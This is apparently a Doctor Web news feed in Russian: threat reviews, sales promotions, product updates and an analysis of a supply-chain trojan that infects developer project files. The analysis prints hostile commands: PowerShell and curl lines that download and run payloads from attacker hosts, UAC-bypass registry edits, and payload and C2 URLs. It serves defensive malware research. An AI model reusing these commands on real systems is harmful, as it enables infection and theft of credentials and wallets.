При оплате «премиум-подписки» такие веб-сайты могут демонстрировать незащищенную форму для ввода реквизитов банковской карты — ее номера, срока действия и даже трехзначного защитного кода. Форма не привязана к надежным платежным шлюзам, поэтому пользователи рискуют не только подписаться на дорогостоящую услугу, но и вовсе потерять все деньги на карте, передав информацию о ней неизвестной стороне.

Данные банковской карты запрашиваются через незащищенную форму ввода

Если пользователи пытаются отменить подписку или вернуть ранее уплаченные за нее средства, сайты повторно запрашивают данные банковской карты (например, просят указать срок ее действия и часть номера). Это также происходит вне контура защищенных платежных шлюзов, что создает дополнительные риски утечки конфиденциальных данных и кражи средств.

При запросе на отключение платной подписки сайт просит указать первые 6 цифр и последние 4 цифры номера банковской карты, а также срок ее действия

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, в III квартале 2026 года самыми активными вредоносными программами стали трояны Android.Proxy, с помощью которых через устройства жертв перенаправляется сетевой трафик киберпреступников. Наиболее часто пользователи сталкивались с модификациями Android.Proxy.60.origin и Android.Proxy.61.origin — в общей сложности на них пришлась почти четверть детектирований вредоносного ПО. По сравнению со II кварталом возросло число атак банковских троянов Android.Banker. При этом продолжилась тенденция к снижению активности рекламных троянских приложений Android.MobiDash и Android.HiddenAds.

Самыми распространенными нежелательными программами вновь стали поддельные антивирусы Program.FakeAntiVirus, предлагающие купить полную версию для лечения якобы найденных угроз. Среди рекламного ПО наиболее часто встречались приложения со встроенными в них модулями Adware.AdPush и Adware.Airpush, которые демонстрируют рекламные уведомления, а также программы Adware.Opensite.15. Последние распространяются под видом ПО с читами для игр, но их единственная функция — загрузка сайтов с объявлениями.

Приложения, в которые при помощи хакерских инструментов для моддинга NP Manager добавлен мусорный код (детектируются как Tool.Obfuscator.TrashCode), остались наиболее часто встречающимся потенциально опасным ПО. Вирусописатели продолжают использовать подобную модификацию для защиты вредоносных программ, в частности, банковских троянов, от обнаружения антивирусами. По-прежнему распространены и другие моды, созданные с использованием NP Manager и детектируемые Dr.Web как Tool.NPMod. Например, в них может применяться обфускация кода — также для защиты от детектирования и анализа. Среди наиболее часто встречавшегося потенциально опасного ПО в III квартале также были программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Этот инструмент скачивает из интернета скрипты, которые потенциально могут быть вредоносными.

За минувшие 3 месяца вирусные аналитики компании «Доктор Веб» обнаружили в каталоге Google Play более 50 вредоносных приложений. Среди них были десятки троянов Android.Joker, подписывающих жертв на платные услуги. Наши специалисты выяснили, что некоторые новые версии вредоносных приложений этого семейства получили новую функциональность, позволяющую им использовать зараженные устройства в качестве выходных узлов прокси-ботнета для перенаправления интернет-трафика атакующих. Также в Google Play распространялись очередные трояны Android.FakeApp, которые киберпреступники используют в различных мошеннических схемах.

Наиболее заметные события, связанные с «мобильной» безопасностью в III квартале

Отмечалась высокая активность троянских программ Android.Proxy, позволяющих перенаправлять сетевой трафик злоумышленников через зараженные устройства.
Увеличилось число атак со стороны банковских троянов Android.Banker.
Продолжилось снижение активности рекламных троянов Android.MobiDash и Android.HiddenAds.
Вирусописатели добавили вредоносным приложениям Android.Joker функциональность, позволяющую превращать зараженные устройства в выходные узлы прокси-ботнета.
Через каталог Google Play вновь распространялись вредоносные приложения.

Более подробно о вирусной обстановке для мобильных устройств в III квартале 2026 года читайте в нашем обзоре.

Кибербезопасность на отлично! Скидки до 25% на комбо-защиту компьютеров и смартфонов, а также розыгрыш книг

Wed, 26 Aug 2026 13:16:15 GMT

Современная учеба в школе и университете невозможна без использования интернета. Чтобы родители были спокойны за цифровую безопасность своих детей во время учебного года, «Доктор Веб» проводит специальную акцию ко Дню знаний.

С 26 августа по 2 сентября при покупке лицензии на комбо-защиту для компьютеров и мобильных устройств на 1 или 2 года, вы получите скидку 20 или 25%.

«Киберученик»: 1 ПК + 1 мобильное устройство. Цена за год — 1 931,20 р. вместо 2 414 р. (−20%);
«Цифровая защита для всей семьи»: от 4 до 10 устройств. Цена за год — от 1 871,25 р. вместо 2 495 р. (−25%);
«Студент Pro»: 1 ПК + 2 мобильных устройства. Цена за год — 1 949,60 р. вместо 2 437 р. (−20%).

Каждый оплаченный заказ, сделанный в этот период акции, автоматически участвует в розыгрыше захватывающего детектива «Ловушка для кибердвоечника», который расскажет подросткам о важности цифровой гигиены.

Участвовать

Дополнительная регистрация для участия не требуется. Итоги будут опубликованы 7 сентября на странице акции.

Внимание! Скидка действует только на новые лицензии и не суммируется с другими акционными предложениями «Доктор Веб». Полные условия акции.

Подарите своему ребенку цифровую защиту на весь учебный год!

Сертифицирована новая версия Dr.Web Mobile Security Suite (Аврора)

Mon, 24 Aug 2026 10:11:47 GMT

Dr.Web Mobile Security Suite для ОС Аврора версии 3.3 соответствует требованиям ФСБ России к программным антивирусным средствам класса Д, используемым в средствах вычислительной техники, эксплуатируемых в органах федеральной службы безопасности, и может применяться для защиты информации, в том числе содержащей сведения, составляющие государственную тайну.

Сертифицированная версия Dr.Web Mobile Security Suite для ОС Аврора обеспечивает комплексную защиту смартфонов и планшетов от всех типов вредоносных программ, используя все доступные возможности операционной системы. ОС Аврора применяется в крупных государственных компаниях и организациях, относится к доверенным операционным системам и обеспечивает полный контроль над мобильными устройствами и хранящимися на них данными.

Напоминаем пользователям сертифицированной версии о необходимости обновить программное обеспечение после истечения срока действия сертификата.

По вопросам приобретения продуктов Dr.Web обращайтесь к партнерам или специалистам Службы поддержки продаж компании «Доктор Веб».

Лето с Dr.Web: скидка 15% и розыгрыш призов

Mon, 03 Aug 2026 14:38:32 GMT

Лето — время отдыхать, а не переживать о безопасности своих устройств. Чтобы отдыху ничего не мешало, «Доктор Веб» проводит специальную летнюю акцию.

С 3 по 7 августа дарим скидку 15% на лицензии Dr.Web Security Space и Dr.Web Security Space для мобильных устройств сроком на 2 или 3 года.

Покупайте защиту и автоматически участвуйте в розыгрыше:

Сертификаты Ozon (номиналом от 2 000 ₽ до 3 500 ₽);
Фирменный мерч Dr.Web.

Дополнительная регистрация для участия не требуется. Итоги подведем 12 августа на странице акции.

Участвовать

Обновление сервера централизованного управления для Dr.Web Enterprise Security Suite и Dr.Web Industrial

Thu, 23 Jul 2026 17:12:09 GMT

Компания «Доктор Веб» выпускает обновление для сервера в составе Dr.Web Enterprise Security Suite и Dr.Web Industrial версии 13.0.1.202606110. Новая версия станет доступна для загрузки с 27 июля 2026 года через веб-интерфейс консоли управления.

Что дает новое обновление

В первую очередь релиз направлен на повышение стабильности работы Центра управления и исправление ряда ошибок, выявленных в предыдущей версии. В частности, устранены проблемы с отображением дочерних элементов при фильтрации в дереве антивирусной сети, исправлены ошибки в отправке оповещений администраторам и генерации отчетов. Полный перечень изменений доступен в Changelog.

Влияние на агенты (в том числе в Dr.Web Industrial)

Обновление сервера не затрагивает работу агентов на защищаемых узлах. Процесс обновления серверного компонента не требует перезагрузки или перенастройки агентского ПО - они продолжат функционировать в штатном режиме. Для промышленных сред, где применяется Dr.Web Industrial, это означает отсутствие каких-либо изменений в работе агентов, так как все исправления относятся исключительно к серверной части и интерфейсу управления.

Важно: Сервер Dr.Web будет автоматически перезапущен во время установки обновлений. Рекомендуем запланировать процедуру заранее на время наименьшей нагрузки.

Напоминаем, что своевременное обновление критически важно для поддержания необходимого уровня защиты и оптимальной функциональности ПО.

Обновление компонента антиспам в Dr.Web Enterprise Security Suite и в Dr.Web по подписке

Wed, 15 Jul 2026 10:45:04 GMT

Компания «Доктор Веб» выпускает обновление модуля антиспам 1.1.2.202604160 в составе Dr.Web Enterprise Security Suite и Dr.Web по подписке. Его можно будет загрузить с 20 июля 2026 года.

Модуль в режиме реального времени проверяет почтовый трафик и анализирует составные части электронных писем: заголовок, тело, гиперссылки, вложения. Работа компонента сбалансирована и не замедляет производительность почтового клиента.

В новой версии улучшено обнаружение спама и разбор ссылок, а также внесены внутренние изменения. Ранее было выпущено масштабное обновление, которое повысило эффективность распознавания и фильтрации нежелательного трафика.

Обращаем внимание пользователей Windows XP. Если у вас включена опция обновления только антивирусных баз, плагин Dr.Web для Microsoft Outlook будет работать некорректно: все входящие письма будут детектироваться как спам. Как это проверить: в настройках программы выбрать пункт «Обновление», затем нажать «Дополнительные настройки» и зайти в раздел «Обновляемые компоненты».

Рекомендуем пользователям этой операционной системы обновить ОС до более поздних версий или включить в настройках обновление всех модулей программы, а не только вирусных баз.

Цель – разработчики. Новый троян атакует цепочки поставок и наносит комбинированный ущерб зараженным ПК

Fri, 10 Jul 2026 00:00:00 GMT

Объектом исследования специалистов антивирусной лаборатории стала новая троянская программа. Она представляет собой угрозу типа supply chain attack, т. е. атака на цепочки поставок. Отличительная черта этого ВПО — фокус на проекты, созданные на языке программирования С++ и C#. Еще одна особенность — повышенная опасность. Троян объединяет в себе ряд поражающих факторов, одновременно выполняя несколько функций: стилера, клиппера, бэкдора, майнера и источника заражения файлов.

Первые случаи распространения трояна были зафиксированы в последнем квартале 2025 года, с тех пор он постоянно модифицируется разработчиками. В основном он распространяется по интернету через зараженные .exe и python файлы. Процесс заражения многоступенчатый, разберем протекание каждой стадии и их цели одну за другой.

Стадия 1. Trojan.DownLoader49.35384

Специалисты «Доктор Веб» обнаружили множество зараженных легитимных приложений с похожей структурой. В изначальный исполняемый файл добавлен глобальный объект, а выполнение троянизированного приложения начинается с получения доступа к системным API через метод PEB walking. Далее стандартная функция initterm проходит таблицу указателей функций и инициализирует их, где одна из таких функций является вредоносной и запускает PowerShell команду. В некоторых версиях трояна эта нагрузка хранится в зашифрованном виде.

Запуск через initterm

PowerShell команда скачивает и выполняет вредоносный файл Trojan.DownLoader49.35687, что означает запуск второй стадии.

Вредоносная PowerShell команда

В дополнение к исполняемым файлам были обнаружены файлы на языке Python (Python.Downloader.255). В них тот же вредоносный код был зашифрован с помощью механизма симметричного шифрования Fernet. Он спрятан за простой обфускацией — множеством пробелов в первой строке. В этом случае выполнение также проходит в несколько этапов.

Вредоносные Python файлы

Стадия 2. Trojan.DownLoader49.35687

На этом этапе троян Trojan.DownLoader49.35687 выполняет проверку своего запуска в песочнице. Кроме этого, он создает объект синхронизации mutex c именем Global\PFNMX (фиксированное значение). Пример подобного объекта: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. Таким образом троян проверяет, не запущена ли ранее на компьютере другая копия.

Во время второй стадии троян пытается получить адреса C2 сервера с помощью публичных репозиториев GitHub и игровой платформы Steam. На них злоумышленники оставляют домены, которые троян считывает и использует как URL для загрузки третьей стадии — трояна BackDoor.Siggen2.5906.

Аккаунты Steam, созданные злоумышленниками, содержат название домена в открытом виде.

Аккаунт Steam с C2 доменом

На GitHub злоумышленники сохранили зашифрованный адрес C2 домена в виде raw файла: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. Троян загружает этот файл и расшифровывает его сначала через Base64, а затем с помощью операции XOR с ключом ZwFlushKey.

Зашифрованные домены

После скачивания следующей стадии, Trojan.DownLoader49.35687 внедряет ее в процесс одного из 41 заранее указанных исполняемых файлов из C:\Windows\System32.

Адрес домена С2, с которым удалось установить связь, добавляется к прописанным в исходном коде трояна строкам и передается следующей стадии через именованный канал pipe\VccFramework.

Стадия 3. BackDoor.Siggen2.5906

На этой стадии происходит основная вредоносная деятельность. BackDoor.Siggen2.5906 создает объект синхронизации mutex с фиксированным именем вида Global\PFNX_Side (фиксированное значение). Затем через ранее созданный канал троян получает данные от второй стадии, откуда извлекает идентификаторы трояна и домен С2, с которым BackDoor.Siggen2.5906 будет коммуницировать.

Чтобы закрепиться в системе, троян скачивает файл «bungee.boo», который выполняет функции стадии 2 — Trojan.DownLoader49.35687, и подменяет им DLL файлы:

«profapi.dll» приложения Discord,
«domain_actions.dll» в папке «Domain Actions» и «well_known_domains.dll» в папке «Well Known Domains» приложения Microsoft Edge,
«C:\Windows\omadmapi.dll».

Дополнительно BackDoor.Siggen2.5906 может модифицировать системный реестр Windows таким образом, что при открытии архивированных файлов с помощью WinRar.exe будет запускаться вредоносный код.

Для действий с правами администратора троян использует технику обхода UAC. ВПО генерирует .vbs файл с названием из случайных цифр, в котором оставляет команду для выполнения с правами администратора. Далее через cmd.exe запускаются команды:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

Затем троян реализует 5 вредоносных функций: стилер, клиппер, бэкдор, майнер и источник заражения файлов.

Стилер

Троян способен красть различную информацию:

токены Discord, которые позволяют войти в чужие аккаунты без ввода логина/пароля;
пароли и куки из браузеров Chrome, Edge, Opera, Brave, Yandex и др. Кроме обычных техник извлечения данных, может использовать файл CCCWF.tmp (Trojan.PWS.Siggen5.33623). Он встраивается в браузер, а затем считывает пароли и сохраняет их в текстовые файлы;
папки Telegram Desktop;
папки криптокошелька Exodus.

Кроме хищений папок Exodus, троян производит модификацию криптокошелька. Для этого он находит файл app.asar и заменяет его на копию, скачанную с URL balista[.]lol/Stb/PokerFace/RTApp[.]txt при помощи curl. В подмененной версии в index.js (Trojan.Siggen32.44702) находится функция unlock(), которая при запуске отправляет мнемонические фразы кошелька на сервер злоумышленников.

Подмененный файл index.js

Клиппер

Особо опасная функция трояна. ВПО постоянно следит за буфером обмена пользователя: ищет данные банковских карт и отправляет их на сервер злоумышленников. Также вредонос заменяет адреса криптокошельков на подставные, которые получает от C2 сервера.

Бэкдор

Функциональность трояна позволяет злоумышленникам удаленно управлять зараженным ПК с помощью команд:

exc	скачать файл с url при помощи curl и запустить его
RVRS	запустить Reverse Proxy
RUNCMD	запустить команду через cmd
GETFILE	загрузить содержимое определенного файла на управляющий сервер
LISTDIR	отправить список файлов из определенной директории компьютера на управляющий сервер
TROLL	запустить команду для троллинга пользователя, есть опции earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer и т. д.

Майнер

При помощи curl троян скачивает с сервера и запускает файл https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Своим строением и действиями он похож на стадию 2, только вместо BackDoor.Siggen2.5906 он скачивает и внедряет Trojan.BtcMine.3956. Этот майнер запускается только после определенного периода бездействия пользователя. ВПО использует инструменты XMRig, T-Rex и TeamRedMiner с открытым исходным кодом.

Заражение файлов

Главная отличительная черта этого трояна — заражение файлов и дальнейшее самостоятельное распространение. Список заражаемых файлов:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj и .csproj.

Чтобы определить пути к файлам, которые можно заразить, троян перебирает диски и запускает команду. Пример для диска A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Злоумышленники строят свой расчет на том, что разработчики будут публиковать свои проекты с вредоносным кодом в открытом доступе. Другие разработчики, которые будут собирать, компилировать или модифицировать проект, автоматически заразят свои компьютеры из-за файлов .suo, .vcxproj и .csproj, а обычные пользователи могут запустить зараженные исполняемые файлы, созданные с помощью скомпрометированных инструментов разработки.

Файл imgui_impl_win32.cpp. Trojan.Loader.3129

Файл imgui_impl_win32.cpp — часть популярной библиотеки Dear ImGui, отвечающей за графический интерфейс для языка программирования С++. Троян внедряет в файл две строки: первая содержит полезную нагрузку, вторая запускает ее.

Строка кода с полезной нагрузкой

Строка кода с запуском пэйлоада

Итог — команда


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

Таким образом, библиотека оказывается зараженной и любые созданные пользователем приложения на С++ будут иметь в себе вредоносный код. При передаче или загрузке подобных приложений заражение будет распространяться дальше.

Файлы .suo. Trojan.Loader.3138

Это расширение файлов среды разработки Microsoft Visual Studio. В них хранятся настройки пользователя для определенных проектов. Троян заменяет оригинальный файл на зараженный, полученный с C2.

Зараженный файл

В результате при открытии проекта в Visual Studio запускается вредоносный код:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Файлы winnetwk.h. Trojan.Loader.3184

Windows SDK — официальный набор инструментов Microsoft, который позволяет создавать приложения для ОС Windows.

С помощью реестра троян находит папку, куда установлен Windows SDK. В этой папке происходит поиск файла winnetwk.h, ответственного за работу с сетевыми ресурсами. Затем в него добавляется вредоносный код.

Зараженный файл winnetwk.h

После этого все программы, созданные с помощью winnetwk.h, будут иметь вредоносный код, который запускает стадию 2.

Файлы .exe

Троян ищет подходящие .exe файлы и внедряет в них функции инициализации API и запуска initterm. Затем файл начинает работать как Trojan.DownLoader49.35384, он же стадия 1.

Файлы .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) и .csproj (Trojan.Loader.3126)

Это файлы проектов Visual Studio на языках программирования C++ и C#. В них добавляется команда PreBuildEvent, которая запускается перед каждой сборкой проекта. Ранние версии трояна добавляли код, подобный стадии 1.

Ранняя версия кода

В новых версиях код стал сложнее, появилась дополнительная обфускация.

Новая версия кода

Один из этапов выполнения Trojan.Loader.3128

В результате вредоносной команды записывается вредоносный .vbs файл, который, в свою очередь, запускает PowerShell payload. Троян делает запрос к URL-адресам:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

На этих адресах хранится другой URL-адрес, зашифрованный с помощью base64.

YouTube-аккаунт с зашифрованным URL-адресом

После расшифровки троян получает C2 домен, к которому обращается за нагрузкой, сходной со стадией 2.

Описание работы трояна позволяет сделать вывод, что он представляет повышенную опасность из-за комбинирования целого ряда вредоносных функций. Во избежание заражения своего компьютера и дальнейшего распространения трояна рекомендуем регулярно обновлять антивирусные базы и проверять все скачанные из интернета файлы. Пользователи антивируса Dr.Web Security Space и Dr.Web Desktop Security Suite могут быть спокойны, поскольку троян надежно определяется и удаляется антивирусами Dr.Web. Файлы типа .vcxproj, .csproj и imgui лечатся, из них удаляется вредоносный код.

Подробнее об Trojan.DownLoader49.35384

Подробнее об Trojan.DownLoader49.35687

Подробнее об BackDoor.Siggen2.5906

Подробнее об Trojan.BtcMine.3956

Индикаторы компрометации

Обновлено Лицензионное соглашение к программным продуктам Dr.Web

Thu, 02 Jul 2026 16:05:38 GMT

Компания «Доктор Веб» обновила Лицензионное соглашение к программным продуктам Dr.Web. С документом можно ознакомиться по ссылке https://license.drweb.ru/agreement/.

Перечень изменений:

текст структурирован по тематическим разделам для удобной навигации;
даны определения терминов для лучшего понимания текста документа и предупреждения ошибочного толкования;
уточнена разница между разрешенным и нелицензионным использованием программных продуктов Dr.Web;
даны пояснения касательно часто возникающих у пользователей вопросов: на каких устройствах можно использовать приобретенную лицензию, обязательно ли иметь защищаемое устройство в своей собственности, и другие подобные.

Используя программные продукты Dr.Web после вступления в силу новой редакции Лицензионного соглашения, тем самым вы подтверждаете принятие новых условий в полном объеме. Если вы не согласны с изменениями, вам необходимо удалить ПО Dr.Web со своих устройств.

Обращаем ваше внимание, что данный документ актуален для всех программных продуктов семейства Dr.Web за исключением Dr.Web FixIt! и Dr.Web vxCube. Эти два решения имеют собственные Лицензионные соглашения.

«Доктор Веб»: обзор вирусной активности во II квартале 2026 года

Wed, 01 Jul 2026 09:00:00 GMT

Скачать PDF

1 июля 2026 года

Согласно статистике детектирований антивируса Dr.Web, во II квартале 2026 года общее число обнаруженных угроз увеличилось на 5,72% по сравнению с I кварталом. Число уникальных угроз возросло на 95,32%. Чаще всего на защищаемых устройствах обнаруживались рекламные приложения и рекламные трояны, вредоносные программы-майнеры и трояны, которые используются для запуска других угроз.

В почтовом трафике наиболее часто детектировались вредоносные скрипты и различные троянские приложения, среди которых были загрузчики, дропперы, похитители паролей и майнеры. Распространение также получили бэкдоры, фишинговые документы и различные эксплойты.

Пользователи, чьи файлы были затронуты троянами-шифровальщиками, чаще всего сталкивались с энкодерами Trojan.Encoder.35534, Trojan.Encoder.41868 и Trojan.Encoder.37400. При этом число поступивших в Службу технической поддержки «Доктор Веб» запросов на расшифровку по сравнению с предыдущим кварталом несколько сократилось.

Во II квартале 2026 года интернет-аналитики компании «Доктор Веб» наблюдали рост числа фишинговых атак на пользователей мессенджера MAX. Злоумышленники также эксплуатировали актуальную новостную повестку и соответствующим образом подстраивали под нее популярные мошеннические схемы.

В апреле стало известно, что в одном из обновлений Microsoft Visual Studio Code содержался вредоносный код. Им оказался троянский скрипт в составе публичной JavaScript-библиотеки es5-ext, которая была включена в обновленное ПО. Данный скрипт запускается при условии соответствия часового пояса ряда российских городов и демонстрирует в консоли разработчика призыв с антироссийской позицией.

В мае мы предупредили о распространении вредоносной программы JobStealer, нацеленной на пользователей macOS и Windows. Киберпреступники выдавали ее за ПО для проведения онлайн-собеседований. Троян JobStealer похищает различную конфиденциальную информацию, включая данные из порядка 300 браузерных расширений-криптокошельков, файлы мессенджера Telegram, сохраненные в браузерах пароли и данные банковских карт, а также файлы куки.

В июне специалисты антивирусной лаборатории компании «Доктор Веб» рассказали о новом рекламном трояне Android.MagicAd.1, способном демонстрировать рекламу в фоновом режиме благодаря возможности обходить ограничения операционной системы Android. Для этого троян эксплуатирует сторонние приложения, выбирая необходимую методику в зависимости от производителя целевого устройства.

Среди вредоносных приложений для Android-устройств лидерство по числу детектирований на защищаемых устройствах сохранили банковские трояны Android.Banker. При этом вирусописатели продолжили активно использовать различные инструменты для моддинга Android-программ, чтобы защитить вредоносное ПО от детектирования антивирусами. Вместе с тем, в течение II квартала наши вирусные аналитики обнаружили в каталоге Google Play ряд новых троянских программ, созданных для подписки пользователей на платные мобильные услуги.

Главные тенденции II квартала

Возросло число угроз, обнаруженных на защищаемых устройствах.
Среди детектируемых угроз значительно увеличилось число уникальных файлов.
Количество запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, по сравнению с I кварталом сократилось.
Мошенники стали чаще атаковать пользователей российского мессенджера MAX.
Банковские трояны Android.Banker остались самыми распространенными вредоносными программами для Android-устройств.
Специалисты «Доктор Веб» обнаружили рекламный троян Android.MagicAd.1, способный обходить ограничения ОС Android и показывать объявления из фонового режима.
Вирусописатели распространяли вредоносную программу JobStealer, предназначенную для кражи конфиденциальных данных у пользователей компьютеров под управлением macOS и Windows.
В одном из обновлений Microsoft Visual Studio Code был обнаружен вредоносный код.

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы II квартала 2026 года

Adware.Downware.20091
Adware.Downware.20766: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Trojan.BPlug.4268: Детектирование вредоносного компонента браузерного расширения WinSafe. Этот компонент представляет собой сценарий JavaScript, который демонстрирует навязчивую рекламу в браузерах.
Trojan.Starter.8319: Детектирование вредоносных XML-скриптов, которые запускают троян Trojan.AutoIt.289 и его компоненты.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы II квартала 2026 года в почтовом трафике

X97M.DownLoader.2343: XLSX-файл (формат электронных таблиц Microsoft Excel) с OLE-объектом, скачивающим вредоносный файл на атакуемый компьютер.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Эксплойты для использования уязвимостей в ПО Microsoft Office, позволяющие выполнить произвольный код.
JS.Muldrop.1171: Вредоносный скрипт в формате JavaScript, который запускает в целевой системе скрытое в нем ВПО.

Шифровальщики

По сравнению с I кварталом 2026 года, во II квартале число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, незначительно сократилось — на 2,67%.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Наиболее распространенные энкодеры II квартала 2026 года

Trojan.Encoder.35534 — 14,47% обращений пользователей
Trojan.Encoder.41868 — 5,26% обращений пользователей
Trojan.Encoder.37400 — 3,95% обращений пользователей
Trojan.Encoder.35209 — 3,29% обращений пользователей
Trojan.Encoder.44197 — 2,63% обращений пользователей

Сетевое мошенничество

Одной из тенденций, которую интернет-аналитики «Доктор Веб» наблюдали во II квартале 2026 года, стало то, что на фоне роста аудитории российского мессенджера MAX злоумышленники начали активнее атаковать пользователей данного сервиса. При этом они применяют известные схемы, которые ранее были ориентированы на пользователей других мессенджеров, таких как Telegram и WhatsApp. Например, наши специалисты выявили множество мошеннических сайтов, созданных с целью кражи учетных записей MAX под прикрытием различных голосований. Потенциальной жертве предлагается проголосовать в том или ином конкурсе, но для этого от нее требуется войти в учетную запись, указав номер мобильного телефона и поступивший после его ввода проверочный код. Когда пользователь вводит все данные, атакующие получают доступ к его аккаунту.

Пример одного из фишинговых сайтов, с помощью которого мошенники получают доступ к учетной записи мессенджера MAX жертвы

В течение II квартала интернет-аналитики «Доктор Веб» отмечали появление очередных мошеннических сайтов, связанных с инвестициями. При этом киберпреступники следуют современным тенденциям и продолжают активно эксплуатировать тематику искусственного интеллекта. Например, на некоторых интернет-ресурсах они предлагали потенциальным жертвам присоединиться к новому инвестиционному проекту, якобы имеющему отношение к крупным российским кредитным организациям. Злоумышленники обещали доступ к специализированному чат-боту на основе нейросети ChatGPT, помогающему в инвестировании. Чтобы стать участниками «проекта», посетители сайта должны были пройти регистрацию, указав персональную информацию.

Мошеннический сайт предлагает зарегистрироваться в инвестиционном проекте, якобы имеющем отношение к одному из российских банков, и получить доступ к специализированному финансовому чат-боту на основе нейросети ChatGPT

В то же время мошенники пытались привлечь русскоязычных пользователей не только именами российских банков, но и иностранных кредитных организаций. Например, ряд веб-сайтов псевдоинвестиционных сервисов киберпреступники преподносили как имеющие отношение к южнокорейским банкам.

Один из мошеннических сайтов, предлагавший русскоговорящим пользователям стать участниками некоего инвестиционного проекта одного из южнокорейских банков и обещавший доход от 2 000 000 южнокорейских вон

Во II квартале сохранялась активность мошенников, которые пытались украсть данные учетных записей от различных сервисов. Так, среди множества фишинговых сайтов встречались поддельные интернет-ресурсы транспортных компаний. Один из них был нацелен на клиентов одной из российских служб экспресс-доставки. Потенциальным жертвам предлагалось войти в свою учетную запись по номеру мобильного телефона, привязанному к аккаунту, либо авторизоваться через Госуслуги. При этом даже после «входа» в учетную запись первым способом сайт все равно демонстрировал вторую фишинговую форму под видом авторизации с использованием Госуслуг.

С помощью мошеннического сайта злоумышленники могли похищать данные сразу нескольких учетных записей — от личного кабинета на сайте транспортной компании и от портала Госуслуги

Наши эксперты также выявляли новые фишинговые веб-сайты кредитных организаций различных стран. Так, вкладчикам одного из банков США мошенники предлагали войти в учетную запись и проверить доступность повышенной процентной ставки для «лояльных клиентов»:

В другом случае фишинговый сайт имитировал внешний вид одного из эквадорских банков и запрашивал у пользователей логин и пароль от учетной записи онлайн-банка:

Еще одна фишинговая схема была ориентирована на британских пользователей. Киберпреступники создавали поддельные сайты государственных сервисов, где предлагали уплатить штраф за неправильную парковку.

У потенциальных жертв запрашивалась подробная персональная информация — якобы для проверки личности, после чего те перенаправлялись на страницу оплаты «штрафа».

Одной из распространенных мошеннических схем остается получение гражданами тех или иных безвозмездных выплат. Однако киберпреступники постоянно адаптируют ее к текущим событиям. Так, в преддверии празднования Дня России стали появляться поддельные сайты российских кредитных организаций, где посетителям злоумышленники обещали праздничные выплаты. На одном из них пользователям за прохождение опроса якобы полагалось от 5 000 до 300 000 рублей:

В другом варианте схемы пользователи после прохождения опроса якобы могли рассчитывать на получение «помощи» в размере 5 000 рублей:

А на фоне спекулятивных сообщений о нехватке топлива в некоторых российских регионах ряд таких сайтов обещал ваучеры на бесплатное получение от 20 до 100 литров горючего:

После того как посетители этих сайтов отвечали на несколько простых вопросов, им для получения обещанной награды предлагалось пройти «идентификацию личности». Для этого требовалось указать имя и фамилию, номер мобильного телефона, а также номер банковской карты. В дальнейшем мошенники могли использовать эту информацию, чтобы похитить деньги жертв.

Среди выявленных во II квартале нежелательных сайтов также встречались поддельные интернет-порталы Международной Федерации Футбола FIFA, на которых пользователи якобы могли официально приобрести билеты на матчи Чемпионата мира по футболу 2026 года, фирменные сувенирные товары, а также различные премиум-услуги. Как и на настоящем сайте, посетителям этих подделок предлагалось войти в учетную запись FIFA ID, однако форма для ввода логина и пароля в данном случае принимала любые данные.

Поддельная форма входа в учетную запись FIFA ID

После того как любители футбола выбирали интересующий их товар, им предлагалось оформить покупку и произвести оплату. При этом в процессе оплаты пользователи попадали на сайт одного из сервисов, который находится в базе интернет-ресурсов, не рекомендуемых антивирусом Dr.Web.

Поддельный сайт Международной Федерации Футбола якобы позволял официально приобретать лицензированные продукты и сервисы

Наши эксперты также зафиксировали ряд спам-кампаний, направленных на распространение ссылок на поддельные сайты российских маркетплейсов, где злоумышленники предлагали потенциальным жертвам принять участие в «юбилейном розыгрыше призов». Мошенники обещали возможность получить как денежные призы — вплоть до 1 000 000 рублей, так и компьютерную и мобильную технику:

